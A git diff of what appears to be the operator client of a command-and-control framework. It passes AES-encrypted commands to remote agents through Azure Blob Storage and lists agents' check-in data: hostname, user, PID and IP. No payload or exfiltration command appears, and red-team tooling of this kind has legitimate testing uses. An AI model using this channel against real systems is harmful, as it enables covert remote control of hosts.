(filePath.includes("\\") && !filePath.includes("/")) { - // Windows-style path (only backslashes) - fileName = path.win32.basename(filePath); - } else if (filePath.includes("/") && !filePath.includes("\\")) { - // macOS/Linux-style path (only forward slashes) - fileName = path.posix.basename(filePath); - } else { - // Mixed slashes case (or unknown) - fileName = filePath.split(/[/\\]/).pop(); // Manually extract filename - } - // Clear the existing rows - for (let row of agentTable.rows) { - let platformName = agentcheckin.platform; // Default to the original value - if (agent.platform === "darwin") { - platformName = "macOS"; - } else if (agent.platform === "win32") { - platformName = "Windows"; - } else if (agent.platform === "linux") { - platformName = "Linux"; - } - row.cells[0].textContent = agentcheckin.agentid; - row.cells[1].textContent = agentcheckin.hostname; - row.cells[2].textContent = agentcheckin.username; - row.cells[3].textContent = fileName; - row.cells[4].textContent = agentcheckin.PID; - row.cells[5].textContent = agentcheckin.IP; - row.cells[6].textContent = agentcheckin.arch; - row.cells[7].textContent = platformName; - row.cells[8].textContent = timeDifference(agentcheckin.input_checkin); - agentid_log = agentcheckin.agentid; - user_log = agentcheckin.username; - pid_log = agentcheckin.PID; - } - if(global.historyload === false) - { - log(`Loading previous command history`); - global.historyload = true; - loadPreviousLogs(); - } - global.inputload = true; + const filePath = agentcheckin.Process.trim(); + let fileName; + if (filePath.includes("\\") && !filePath.includes("/")) { + fileName = path.win32.basename(filePath); + } else if (filePath.includes("/") && !filePath.includes("\\")) { + fileName = path.posix.basename(filePath); + } else { + fileName = filePath.split(/[/\\]/).pop(); + } + for (let row of agentTable.rows) { + let platformName = agentcheckin.platform; + if (agent.platform === "darwin") { + platformName = "macOS"; + } else if (agent.platform === "win32") { + platformName = "Windows"; + } else if (agent.platform === "linux") { + platformName = "Linux"; + } + row.cells[0].textContent = agentcheckin.agentid; + row.cells[1].textContent = agentcheckin.hostname; + row.cells[2].textContent = agentcheckin.username; + row.cells[3].textContent = fileName; + row.cells[4].textContent = agentcheckin.PID; + row.cells[5].textContent = agentcheckin.IP; + row.cells[6].textContent = agentcheckin.arch; + row.cells[7].textContent = platformName; + row.cells[8].textContent = timeDifference(agentcheckin.checkin); + agentid_log = agentcheckin.agentid; + user_log = agentcheckin.username; + pid_log = agentcheckin.PID; + } + if (global.historyload === false) { + log(`Loading previous command history`); + global.historyload = true; + loadPreviousLogs(); + } + global.inputload = true; + } + } catch (error) { + log(`${error} ${error.stack}`); } - -// Initial table update - }catch(error) - { - log(`${error} ${error.stack}`); - } } - -// Update the table every second setInterval(updateTable, 1000); ipcRenderer.on('command-output', (event, output) => { - try - { - if(output) - { - printToConsole(output); - } -}catch (error) { - log(`Error in ipcRender(delete-old-container): ${error.message}\r\n${error.stack}`); -} -}); - -ipcRenderer.on('window-closing', async () => { - try{ - log(`agent-window.js : IPC window-closing`); - log(`agentid: ${window_agentid}`); - ipcRenderer.send('force-close',window_agentid); // Notify main process to force close - } - catch (error) { + try { + if (output) { + printToConsole(output); + } + } catch (error) { log(`Error in ipcRender(delete-old-container): ${error.message}\r\n${error.stack}`); } }); -// window.onload = loadPreviousLogs; - -document.addEventListener("keydown", function(event) { - const consoleInput = document.getElementById("consoleInput"); - - if (!consoleInput) return; // Ensure element exists - - const isCtrlOrMeta = event.ctrlKey || event.metaKey; - const isAlt = event.altKey; - - if (isCtrlOrMeta) { - switch (event.key.toLowerCase()) { - - case "a": // Select all - event.preventDefault(); - consoleInput.select(); - log("Selected all text in consoleInput"); - break; - - case "arrowleft": // Move cursor back one word - event.preventDefault(); - moveCursorByWord(consoleInput, "left"); - log("Moved cursor back one word"); - break; - - case "arrowright": // Move cursor forward one word - event.preventDefault(); - moveCursorByWord(consoleInput, "right"); - log("Moved cursor forward one word"); - break; - } - } +ipcRenderer.on('window-closing', async () => { + try { + log(`agent-window.js : IPC window-closing`); + log(`agentid: ${window_agentid}`); + ipcRenderer.send('force-close', window_agentid); + } catch (error) { + log(`Error in ipcRender(delete-old-container): ${error.message}\r\n${error.stack}`); + } +}); + +document.addEventListener("keydown", function (event) { + const consoleInput = document.getElementById("consoleInput"); + if (!consoleInput) return; + const isCtrlOrMeta = event.ctrlKey || event.metaKey; + const isAlt = event.altKey; + if (isCtrlOrMeta) { + switch (event.key.toLowerCase()) { + case "a": + event.preventDefault(); + consoleInput.select(); + log("Selected all text in consoleInput"); + break; + case "arrowleft": + event.preventDefault(); + moveCursorByWord(consoleInput, "left"); + log("Moved cursor back one word"); + break; + case "arrowright": + event.preventDefault(); + moveCursorByWord(consoleInput, "right"); + log("Moved cursor forward one word"); + break; + } + } }); -// Function to move cursor by one word function moveCursorByWord(input, direction) { - let pos = input.selectionStart; - let value = input.value; - - if (direction === "left") { - while (pos > 0 && value[pos - 1] === " ") pos--; // Skip spaces - while (pos > 0 && value[pos - 1] !== " ") pos--; // Move to start of the word - } else if (direction === "right") { - while (pos < value.length && value[pos] === " ") pos++; // Skip spaces - while (pos < value.length && value[pos] !== " ") pos++; // Move to end of the word - } - - input.selectionStart = input.selectionEnd = pos; + let pos = input.selectionStart; + let value = input.value; + if (direction === "left") { + while (pos > 0 && value[pos - 1] === " ") pos--; + while (pos > 0 && value[pos - 1] !== " ") pos--; + } else if (direction === "right") { + while (pos < value.length && value[pos] === " ") pos++; + while (pos < value.length && value[pos] !== " ") pos++; + } + input.selectionStart = input.selectionEnd = pos; } diff --git a/client/agent.js b/client/agent.js deleted file mode 100644 index 0274ed2..0000000 --- a/client/agent.js +++ /dev/null @@ -1,36 +0,0 @@ -class Container -{ - constructor(name, key = {}, blobs = {}) - { - this.name = null || name; - this.key = {} || key; - this.blobs = {} || blobs; - } - - setName(name) { - this.name = name; - } - setKey(key) { - this.key = { - 'key' : key.key, - 'iv' : key.iv - }; - } -} - -class Agent -{ - constructor(agentId, containerObject) - { - this.agentid = null || agentId; - this.container = null || containerObject; - this.BrowserWindow = null; - } - -} - - -module.exports = { - Container, - Agent -}; diff --git a/client/azure.js b/client/azure.js index 4dbdef1..bbe54b9 100644 --- a/client/azure.js +++ b/client/azure.js @@ -1,55 +1,20 @@ -const { BlobServiceClient } = require('@azure/storage-blob'); +const { ipcMain} = require('electron'); const path = require('path'); const crypto = require('crypto'); -const https = require('https'); -const fs = require('fs'); // Use synchronous fs module for createWriteStream +const fs = require('fs'); const fsp = require('fs').promises; const { log } = require('console'); const { getAppDataDir } = require('./common'); const directories = getAppDataDir(); -const logFile = path.join(directories.downloadsDir, 'azure.js.log'); -let config = require(directories.configFilePath); - -// const StorageAccount = config.storageAccount; -// const sasToken = config.sasToken; -// const blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`); - -function logToFile(message) -{ - const timestamp = new Date().toISOString(); - fs.appendFileSync(logFile, `[${timestamp}] ${message}\n`); -} - -function clearLogFile() -{ - // Open the file in write mode and truncate it - fs.writeFile(logFile, '', (err) => { - if (err) { - console.error(`Error clearing log file: ${err.message}`); - } else { - console.log(`Log file at ${logFile} has been cleared.`); - } - }); -} - -// Function to decode a base64 string function decodeBase64(base64) { - // Create a buffer from the base64 encoded string const buffer = Buffer.from(base64, 'base64'); - // Convert the buffer to a utf-8 string - const decoded = buffer.toString('utf-8'); - return decoded; + return buffer.toString('utf-8'); } -// Function to encode a string to base64 function encodeBase64(input) { - // Create a buffer from the input string const buffer = Buffer.from(input, 'utf-8'); - // Convert the buffer to a base64 encoded string - const base64 = buffer.toString('base64'); - return base64; + return buffer.toString('base64'); } -// Function to AES encrypt data with a static key and IV async function aesEncrypt(data,key,iv) { const cipher = crypto.createCipheriv('aes-256-cbc', key, iv); @@ -63,7 +28,6 @@ async function aesEncrypt(data,key,iv) { } return encrypted; } -// Function to AES decrypt data with a static key and IV async function aesDecrypt(encryptedData, key, iv) { // const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); // let decrypted = decipher.update(encryptedData, 'hex', 'utf8'); @@ -83,331 +47,333 @@ async function aesDecrypt(encryptedData, key, iv) { } async function DeleteStorageContainer(StorageContainer,config) { - let StorageAccount = config.storageAccount; - let sasToken = config.sasToken; - let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`); - let options = { - hostname: StorageAccount, + hostname: global.config.storageAccount, port: 443, - path: `/${StorageContainer}?restype=container&${sasToken}`, + path: `/${StorageContainer}?restype=container&${global.config.sasToken}`, method: 'DELETE', headers: { - 'x-ms-version': '2020-04-08', // The version of the Azure Blob Storage API to use - 'x-ms-date': new Date().toUTCString() // The current date and time in UTC format + 'x-ms-version': '2020-04-08', + 'x-ms-date': new Date().toUTCString() } }; - //common.logToFile('HTTP request options :',options); - return await makeRequest(options); } +// no deps async function DeleteStorageBlob(StorageContainer,StorageBlob,config) { - let StorageAccount = config.storageAccount; - let sasToken = config.sasToken; - let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`); - - //log(`DeleteStorageBlob() : path : /${StorageContainer}/${StorageBlob}?${sasToken}`); - let options = { - hostname: StorageAccount, + hostname: global.config.storageAccount, port: 443, - path: `/${StorageContainer}/${StorageBlob}?${sasToken}`, + path: `/${StorageContainer}/${StorageBlob}?${global.config.sasToken}`, method: 'DELETE', headers: { - 'x-ms-version': '2020-04-08', // The version of the Azure Blob Storage API to use + 'x-ms-version': '2020-04-08' } }; - return await makeRequest(options); } async function preloadContainers(metaContainer,config) { - let StorageAccount = config.storageAccount; - let sasToken = config.sasToken; - let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`); - let meta_agent_container_info = []; - try { - //console.log(`Listing Agent blobs in metaContainer: ${metaContainer}`); - - const containerClient = blobServiceClient.getContainerClient(metaContainer); - let i = 1; - for await (const blob of containerClient.listBlobsFlat()) { - try - { - let agent_blob = blob.name; - //console.log(`Agent Blob ${i++}: ${agent_blob}`); - let agent_container = await readBlob(metaContainer,agent_blob,config); - if(agent_container.statusCode == 200) - { - let this_agent_info = { - 'agentid':agent_blob, - 'containerid':agent_container['data'] - } - meta_agent_container_info.push(this_agent_info); - } - }catch(error) - { - console.log(`Failed to get agent container ${error.stack}`); - } - } - //console.log(`metablobs : ${JSON.stringify(metablobs)}`); - return JSON.stringify(meta_agent_container_info); - } catch (error) { - //console.error(`Error listing blobs in meta container: ${error.message} ${error.stack}`); - //return metablobs; - //return JSON.stringify(meta_agent_container_info); - return null; - } -} -async function listBlobsInContainer(containerName,config) -{ - let StorageAccount = config.storageAccount; - let sasToken = config.sasToken; - let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`); - - let metablobs = {}; - let agentcheckins = []; + let meta_agent_container_info = []; + log(`azure.js | preloadContainers() | global.config: ${JSON.stringify(global.config)}`); try { - //console.log(`Listing blobs in container: ${containerName}`); - - const containerClient = blobServiceClient.getContainerClient(containerName); - let i = 1; - for await (const blob of containerClient.listBlobsFlat()) { + let i = 1; + let options = { + hostname: global.config.storageAccount, + port: 443, + path: `/${global.config.metaContainer}?restype=container&comp=list&${global.config.sasToken}`, + method: 'GET', + headers: { + 'x-ms-version': '2020-04-08' + } + }; + let response = await makeRequest(options); + if (response.status === 404){ + log(`azure.js | preloadContainers() | ${response.status} | [!] Container ${global.config.metaContainer} not found. Sleeping for 5 seconds and trying again.`); + await new Promise(resolve => setTimeout(resolve, 5000)); + return null; + } + let blobs = response.data.match(/([^<]+)<\/Name>/g).map(b => b.replace(/<\/?Name>/g, '')); + for (const blob of blobs) { + try + { + let agent_container = await readBlob(global.config.metaContainer,blob,config); + if(agent_container.status === 200) + { + let this_agent_info = { + 'agentid':blob, + 'containerid':agent_container['data'] + } + meta_agent_container_info.push(this_agent_info); + } + }catch(error) + { + console.log(`Failed to get agent container ${error.stack}`); + } + } + return JSON.stringify(meta_agent_container_info); + } catch (error) { + log(`azure.js | preloadContainers() | Error listing blobs in container ${global.config.metaContainer}:`, error.message, error.stack); + return null; + } +} +class Agent { + constructor() { + this.agentid = ''; + this.arch = ''; + this.container = ''; + this.hostname = ''; + this.IP = []; + this.osRelease = ''; + this.osType = ''; + this.PID = null; + this.platform = ''; + this.Process = ''; + this.username = ''; + this.checkin = Date.now(); + this.aes = { + 'key': null, + 'iv': null + }; + this.blobs = { + 'key': null, + 'checkin': null, + 'in': null, + 'out': null + }; + } +} +async function updateDashboardTable(containerName,config) +{ + let agentcheckins = []; + try { + let thisAgent = null; + let agentObj = null; + let MetaBlobs = await list_blobs(global.config.metaContainer,config); + for (const agentMetaBlob of MetaBlobs) + { try { - //console.log(`Blob ${i++}: ${blob.name}`); - let blobresp = await readBlob(containerName,blob.name,config); - //log(`[${i}] ${blob.name} : ${blobresp.data}`); - i++; - if(blobresp.statusCode == 200) - { - let agent_container_id = blobresp.data; - let this_agent_blobs = await getContainerBlobs(agent_container_id,config); - if (this_agent_blobs) - { - //console.log(`${agent_container_id} container key blob : ${this_agent_blobs['key']}`); - let this_agent_key = await getContainerAesKeys(agent_container_id,this_agent_blobs['key'],config); - let checkinData = await checkinContainer(agent_container_id, this_agent_key, this_agent_blobs,config); - let agentObj = JSON.parse(checkinData); - agentObj.agentid = blob.name; - agentObj.containerid = agent_container_id; - let inputcheckinblob = await readBlob(agent_container_id,this_agent_blobs['in'],config ); - const numberValue = Number(inputcheckinblob.data); - //console.log(`${this_agent_blobs['in']} Input channel response : ${inputcheckinblob.data} | timestamp : ${numberValue}`); - if (!isNaN(numberValue)) - { - agentObj.checkIn = numberValue; - }else - { - agentcheckin.input_checkin = Date.now()-2000; // getting update timestamp from input channel. So if we poll the channel while input is in pipe it gives NaN - } - //checkinObj[blob.name] = agent_container_id; - //let agent_checkin = JSON.parse(checkinContainer(agent_container_id, this_agent_key, this_agent_blobs)); - //console.log(JSON.stringify(agentObj)); - agentcheckins.push(agentObj); - }else - { - // console.log(`Error : ${blob.name} did not exist. Deleting.`); - // let deleteresp = await DeleteStorageBlob(containerName,blob.name,config); - //console.log(`Delete response : ${deleteresp.statusCode} .`); - } + if(global.agents.find(agent => agent.agentid === agentMetaBlob)){ + log(`azure.js | updateDashboardTable() | ${agentMetaBlob} | [!] Agent ${agentMetaBlob} already exists in global.agents`); + thisAgent = global.agents.find(agent => agent.agentid === agentMetaBlob); + log(`azure.js | updateDashboardTable() | ${agentMetaBlob} | Found existing agent object: ${JSON.stringify(thisAgent)}`); } + else{ + log(`azure.js | updateDashboardTable() | ${agentMetaBlob} | [!] Agent ${agentMetaBlob} does not exist in global.agents`); + thisAgent = new Agent(); + thisAgent.agentid = agentMetaBlob; + let metaAgentResponse = await readBlob(global.config.metaContainer,agentMetaBlob,config); + thisAgent.container = metaAgentResponse.data; + thisAgent.blobs = await getContainerBlobs(thisAgent.container,config); + thisAgent.aes = await getContainerAesKeys(thisAgent.container,thisAgent.blobs['key'],config); + let checkinData = await checkinContainer(thisAgent.container, thisAgent.aes, thisAgent.blobs,config); + agentObj = JSON.parse(checkinData); + thisAgent.hostname = agentObj.hostname; + thisAgent.IP = agentObj.IP; + thisAgent.osRelease = agentObj.osRelease; + thisAgent.osType = agentObj.osType; + thisAgent.PID = agentObj.PID; + thisAgent.platform = agentObj.platform; + thisAgent.Process = agentObj.Process; + thisAgent.username = agentObj.username; + thisAgent.arch = agentObj.arch; + global.agents.push(thisAgent); + } + let checkinBlobLastModified = await getBlobLastModified(thisAgent.container,thisAgent.blobs['in']); + if (!checkinBlobLastModified) + { + log(`azure.js | updateDashboardTable() | ${response.status} | [!] Missing Last-Modified header for agent ${agent_container_id}`); + thisAgent.checkin = Date.now()-60000; + continue; + } + const timestamp = new Date(checkinBlobLastModified).getTime(); + thisAgent.checkin = timestamp; + agentcheckins.push(thisAgent); }catch(error) { - //console.log(`Failed to get checkin from listed agent container ${error.stack}`); + log(`Failed to get checkin from listed agent container ${error.stack}`); } } - //console.log(`metablobs : ${JSON.stringify(metablobs)}`); return JSON.stringify(agentcheckins); } catch (error) { console.error(`Error listing blobs in container ${containerName}: ${error.message} ${error.stack}\n ${JSON.stringify(agentcheckins)}`); - //return metablobs; return 0; } } -async function returnAgentCheckinInfo(containerName,agentid,config) +async function list_blobs(containerName,config) { - let StorageAccount = config.storageAccount; - let sasToken = config.sasToken; - let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`); - - let agentcheckin; - // console.log(`returnAgentCheckinInfo | containerName : ${containerName} & agentid : ${agentid}`); - try { - //console.log(`Listing blobs in container: ${containerName}`); - - const containerClient = blobServiceClient.getContainerClient(containerName); - let i = 1; - for await (const blob of containerClient.listBlobsFlat()) { - //console.log(`Blob ${i++}: ${blob.name}`); - if (blob.name == agentid) - { - // console.log(`Matched agentid ${agentid} to active blob ${containerName}/${blob.name}`); - let blobresp = await readBlob(containerName,blob.name,config); - let agent_container_id = blobresp.data; - //console.log(`${blob.name} blob data : ${agent_container_id}`); - let this_agent_blobs = await getContainerBlobs(agent_container_id,config); - //console.log(`${agent_container_id} container key blob : ${this_agent_blobs['key']}`); - let this_agent_key = await getContainerAesKeys(agent_container_id,this_agent_blobs['key'],config); - let checkinData = await checkinContainer(agent_container_id, this_agent_key, this_agent_blobs,config); - - // console.log(`checkin Data : ${checkinData}`); - agentcheckin = JSON.parse(checkinData); - //console.log(JSON.stringify(agentcheckin)); - let inputcheckinblob = await readBlob(agent_container_id,this_agent_blobs['in'],config ); - const numberValue = Number(inputcheckinblob.data); - //console.log(`${this_agent_blobs['in']} Input channel response : ${inputcheckinblob.data} | timestamp : ${numberValue}`); - if (!isNaN(numberValue)) - { - agentcheckin.input_checkin = numberValue; - }else - { - agentcheckin.input_checkin = Date.now()-2000; // getting update timestamp from input channel. So if we poll the channel while input is in pipe it gives NaN - } - agentcheckin.agentid = blob.name; - agentcheckin.containerid = agent_container_id; - //checkinObj[blob.name] = agent_container_id; - //let agent_checkin = JSON.parse(checkinContainer(agent_container_id, this_agent_key, this_agent_blobs)); - //console.log(JSON.stringify(agentcheckin)); - } - } - //console.log(`metablobs : ${JSON.stringify(metablobs)}`); - return JSON.stringify(agentcheckin); + try{ + let options = { + hostname: global.config.storageAccount, + port: 443, + path: `/${containerName}?restype=container&comp=list&${global.config.sasToken}`, + method: 'GET', + headers: { + 'x-ms-version': '2020-04-08' + } + }; + let response = await makeRequest(options); + let blobs = response.data.match(/([^<]+)<\/Name>/g).map(b => b.replace(/<\/?Name>/g, '')); + return blobs; + } catch (error) { + console.error(`Error listing blobs in container ${containerName}: ${error.message} ${error.stack}`); + return []; + } +} +async function getBlobLastModified(containerName,blob) +{ + let options = { + hostname: global.config.storageAccount, + port: 443, + path: `/${containerName}/${blob}?${global.config.sasToken}`, + method: 'HEAD', + headers: { + 'x-ms-version': '2020-04-08' + } + }; + let response = await makeRequest(options); + const lastModified = response.response.headers["last-modified"]; + return lastModified; +} +async function returnAgentCheckinInfo(agentContainer,agentInputChannel) +{ + try{ + let checkinBlobLastModified = await getBlobLastModified(agentContainer,agentInputChannel); + if (!checkinBlobLastModified) + { + log(`azure.js | updateDashboardTable() | ${response.status} | [!] Missing Last-Modified header for agent ${agent_container_id}`); + thisAgent.checkin = Date.now()-60000; + } + return new Date(checkinBlobLastModified).getTime(); } catch (error) { console.error(`returnAgentCheckinInfo() | Error listing blobs in container ${containerName}:`, error.message, error.stack); } } -// Helper function to make an HTTPS request and return a Promise -function makeRequest(options, data = null) { + +async function makeRequest(options, data = null) { + // Wait for renderer to be ready + if (!global.dashboardWindow.webContents.isLoading()) { + } else { + await new Promise(resolve => { + global.dashboardWindow.webContents.once('did-finish-load', resolve); + }); + } + return new Promise((resolve, reject) => { - const req = https.request(options, (res) => { - let responseData = ''; - - res.on('data', (chunk) => { - responseData += chunk; - }); - - res.on('end', () => { - resolve({ statusCode: res.statusCode, headers: res.headers, data: responseData }); - }); - }); - - req.on('error', (e) => { - reject(e); - }); - - if (data) { - req.write(data); - } - - req.end(); + const url = `https://${options.hostname}:${options.port}${options.path}`; + const requestId = Date.now().toString(); + // Set up response handler before sending request + const responseHandler = (event, response) => { + // log(`[WEB-REQUEST ] url : ${url}`); + // log(`[WEB-RESPONSE] status: ${response.status}`); + // log(`[WEB-RESPONSE] data : ${response.data}`); + if (response.error) { + log(`[WEB-REQUEST] Error: ${response.error}`); + reject(new Error(response.error)); + return; + } + resolve({ + response: response, + status: response.status, + data: response.data + }); + }; + // Listen for the response with timeout + ipcMain.once(`web-request-response-${requestId}`, responseHandler); + if (data) { + if (!options.headers) { + options.headers = {}; + } + options.headers['Content-Length'] = Buffer.byteLength(data); + } + // Send request to renderer + try { + global.dashboardWindow.webContents.send('make-web-request', { + url, + method: options.method, + headers: options.headers, + body: data, + requestId + }); + } catch (err) { + ipcMain.removeListener(`web-request-response-${requestId}`, responseHandler); + reject(err); + } + let timeout = 300000; + setTimeout(() => { + ipcMain.removeListener(`web-request-response-${requestId}`, responseHandler); + reject(new Error(`Web request timed out after ${timeout}ms`)); + }, timeout); }); } async function UploadBlobToContainer(StorageContainer,StorageBlob,data,config) { - let StorageAccount = config.storageAccount; - let sasToken = config.sasToken; - let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`); - if ( data == null) - { - data = ""; - } + if ( data == null) + { + data = ""; + } const options = { - hostname: StorageAccount, + hostname: global.config.storageAccount, port: 443, - path: `/${StorageContainer}/${StorageBlob}?${sasToken}`, // Path with SAS token and blob parameters + path: `/${StorageContainer}/${StorageBlob}?${global.config.sasToken}`, method: 'PUT', headers: { - 'x-ms-version': '2020-02-10', // The version of the Azure Blob Storage API to use - 'x-ms-date': new Date().toUTCString(), // The current date and time in UTC format - 'x-ms-blob-type': 'BlockBlob', // Blob type - 'Content-Type': 'text/plain', // Set appropriate content type - 'Content-Length': Buffer.byteLength(data) // Length of the data + 'x-ms-version': '2020-02-10', + 'x-ms-date': new Date().toUTCString(), + 'x-ms-blob-type': 'BlockBlob', + 'Content-Type': 'text/plain', + 'Content-Length': Buffer.byteLength(data) } }; - return makeRequest(options,data); - } -// Function to read a blob's contents async function readBlob(StorageContainer, StorageBlob, config) { try { - let StorageAccount = config.storageAccount; - let sasToken = config.sasToken; - const options = { - hostname: StorageAccount, + hostname: global.config.storageAccount, port: 443, - path: `/${StorageContainer}/${StorageBlob}?${sasToken}`, + path: `/${StorageContainer}/${StorageBlob}?${global.config.sasToken}`, method: 'GET', headers: { 'x-ms-version': '2020-02-10', 'x-ms-date': new Date().toUTCString() } }; - const response = await makeRequest(options); - - // ✅ Ensure the response contains data and is not empty - if (!response || response.length === 0 || response.statusCode === 404) { + if (!response || response.length === 0 || response.status === 404) { throw new Error(`Blob read failed: Empty response from ${StorageBlob}`); } - - return response; // Data is valid, return it + return response; } catch (error) { console.error(`Error reading blob ${StorageBlob}:`, error.message); - return null; // Return null if an error occurs + return null; } } -// async function readBlob(StorageContainer, StorageBlob,config) -// { -// let StorageAccount = config.storageAccount; -// let sasToken = config.sasToken; -// let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`); - -// const options = { -// hostname: StorageAccount, -// port: 443, -// path: `/${StorageContainer}/${StorageBlob}?${sasToken}`, -// method: 'GET', -// headers: { -// 'x-ms-version': '2020-02-10', -// 'x-ms-date': new Date().toUTCString() -// } -// }; - -// return makeRequest(options); -// } async function getContainerBlobs(containerName,config) { - let StorageAccount = config.storageAccount; - let sasToken = config.sasToken; - let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`); - let inputBlob = ""; let outputBlob = ""; + let checkinBlob = ""; + let keyBlob = ""; try { - // Find and read the "c-" blob - const containerClient = blobServiceClient.getContainerClient(containerName); - for await (const blob of containerClient.listBlobsFlat()) { - if (blob.name.startsWith('i-')) { - //console.log(`Found ${blob.name}`); - inputBlob = blob.name; + let agent_blobs = await list_blobs(containerName,config); + for (const blob of agent_blobs) + { + if (blob.startsWith('i-')) { + inputBlob = blob; } - if (blob.name.startsWith('o-')) { - // console.log(`Found ${blob.name}`); - outputBlob = blob.name; + if (blob.startsWith('o-')) { + outputBlob = blob; } - if (blob.name.startsWith('c-')) { - // console.log(`Found ${blob.name}`); - checkinBlob = blob.name; + if (blob.startsWith('c-')) { + checkinBlob = blob; } - if (blob.name.startsWith('k-')) { - // console.log(`Found ${blob.name}`); - keyBlob = blob.name; + if (blob.startsWith('k-')) { + keyBlob = blob; } } const blobs = { @@ -418,113 +384,40 @@ async function getContainerBlobs(containerName,config) }; return blobs; } catch (error) { - //console.error(`Error connecting to container ${containerName}:`, error.message); return false; } } async function getContainerAesKeys(containerName,containerKeyBlob,config) { - let StorageAccount = config.storageAccount; - let sasToken = config.sasToken; - let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`); - try { - const containerClient = blobServiceClient.getContainerClient(containerName); - let kBlobContent; - // let cBlobContent; - - // Find and read the "k-" blob - // for await (const blob of containerClient.listBlobsFlat()) { - // //console.log(`getContainerAesKeys() | blob.name : ${blob.name}`); - // logToFile(`getContainerAesKeys() | blob.name : ${blob.name}`); - // if (blob.name.startsWith('k-')) { - // //console.log(`Found k- blob: ${blob.name}`); - // const blockBlobClient = containerClient.getBlockBlobClient(blob.name); - // const downloadBlockBlobResponse = await blockBlobClient.download(0); - // kBlobContent = await streamToString(downloadBlockBlobResponse.readableStreamBody); - // break; - // } - // } - const blockBlobClient = containerClient.getBlockBlobClient(containerKeyBlob); - const downloadBlockBlobResponse = await blockBlobClient.download(0); - kBlobContent = await streamToString(downloadBlockBlobResponse.readableStreamBody); - - - if (!kBlobContent) { - logToFile('getContainerAesKeys() | No blob starting with "k-" found in the container.'); - return; - } - - // Parse JSON values from the k- blob - const kBlobJson = JSON.parse(kBlobContent); - //console.log('JSON values from k- blob:', kBlobJson); + kBlobContent = await readBlob(containerName, containerKeyBlob, config); + const kBlobJson = JSON.parse(kBlobContent.data); const aes_key = kBlobJson['key'] const aes_iv = kBlobJson['iv'] - //console.log("AES Key :",aes_key); - //console.log("AES IV :",aes_iv ); - - // Find and read the "c-" blob - for await (const blob of containerClient.listBlobsFlat()) { - if (blob.name.startsWith('i-')) { - //console.log(`Found i- blob: ${blob.name}`); - const blockBlobClient = containerClient.getBlockBlobClient(blob.name); - const downloadBlockBlobResponse = await blockBlobClient.download(0); - cBlobContent = await streamToString(downloadBlockBlobResponse.readableStreamBody); - break; - } - } - key = { 'key':aes_key, 'iv':aes_iv } - //logToFile(`getContainerAesKeys() | \n\tkey.key : ${key.key}\n\tkey.iv : ${key.iv}`); return key; } catch (error) { - logToFile(`getContainerAesKeys() | Error listing blobs in container ${containerName}:`, error.message); + log(`getContainerAesKeys() | Error listing blobs in container ${containerName}:`, error.message); } } -async function streamToString(readableStream) { - return new Promise((resolve, reject) => { - const chunks = []; - readableStream.on('data', (data) => { - chunks.push(data.toString()); - }); - readableStream.on('end', () => { - resolve(chunks.join('')); - }); - readableStream.on('error', reject); - }); -} async function checkinContainer(containerName, aes, blobs,config) { - let StorageAccount = config.storageAccount; - let sasToken = config.sasToken; - let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`); - const aes_key_bytes = Buffer.from(aes['key'], 'hex'); const aes_iv_bytes = Buffer.from(aes['iv'], 'hex'); - //console.log(`checkin blob : ${blobs['checkin']}`); - const containerClient = blobServiceClient.getContainerClient(containerName); - try { - - const blockBlobClient = containerClient.getBlockBlobClient(blobs['checkin']); - const downloadBlockBlobResponse = await blockBlobClient.download(0); - let cBlobContent = await streamToString(downloadBlockBlobResponse.readableStreamBody); - encrypted_b64_checkin = cBlobContent; - //console.log("Encrypted B64 Checkin Data : ",encrypted_b64_checkin); - encrypted_checkin = decodeBase64(encrypted_b64_checkin); - //console.log("Encrypted Checkin Data : ",encrypted_checkin); - const decrypted_checkin = await aesDecrypt(encrypted_checkin,aes_key_bytes,aes_iv_bytes); - //console.log(`${containerName} Checkin Data : \r\n`,decrypted_checkin); - if (!cBlobContent) { + let checkin = await readBlob(containerName, blobs['checkin'], config); + let enc_checkin = decodeBase64(checkin.data); + const dec_checkin = await aesDecrypt(enc_checkin,aes_key_bytes,aes_iv_bytes); + if (!dec_checkin) { console.error('No checkin blob content found.'); return; }else { - return decrypted_checkin; + return dec_checkin; } } catch (error) { console.error(`Error connecting to container ${containerName}:`, error.message); @@ -532,241 +425,177 @@ async function checkinContainer(containerName, aes, blobs,config) } async function clearBlob(StorageContainer, StorageBlob,config) { - let StorageAccount = config.storageAccount; - let sasToken = config.sasToken; - let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`); - const options = { - hostname: StorageAccount, + hostname: global.config.storageAccount, port: 443, - path: `/${StorageContainer}/${StorageBlob}?${sasToken}`, + path: `/${StorageContainer}/${StorageBlob}?${global.config.sasToken}`, method: 'PUT', headers: { 'x-ms-version': '2020-02-10', 'x-ms-date': new Date().toUTCString(), 'x-ms-blob-type': 'BlockBlob', 'Content-Type': 'text/plain', - 'Content-Length': 0 // Clearing the blob content + 'Content-Length': 0 } }; - return makeRequest(options); } async function uploadCommand(containerCmd,config) { - let StorageAccount = config.storageAccount; - let sasToken = config.sasToken; - let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`); - - let containerCommand = JSON.parse(containerCmd); - const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex'); - const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex'); - const inputblob = containerCommand.blobs['in']; - const outputblob = containerCommand.blobs['out']; - const containerName = containerCommand.name; - console.log(`${inputblob} ${outputblob} ${containerName}`); - const encryptedData = await aesEncrypt(containerCommand.cmd,aes_key_bytes,aes_iv_bytes); - //console.log(`[+] Encrypted data : ${encryptedData}`); - const b64EncData = encodeBase64(encryptedData); - // console.log(`[+] Encrypted b64 data : ${b64EncData}`); - let response = await UploadBlobToContainer(containerCommand.name,containerCommand.blobs['in'],b64EncData,config); - // console.log(`command upload response status : ${response.status}`) - let decrypted_out_data; - 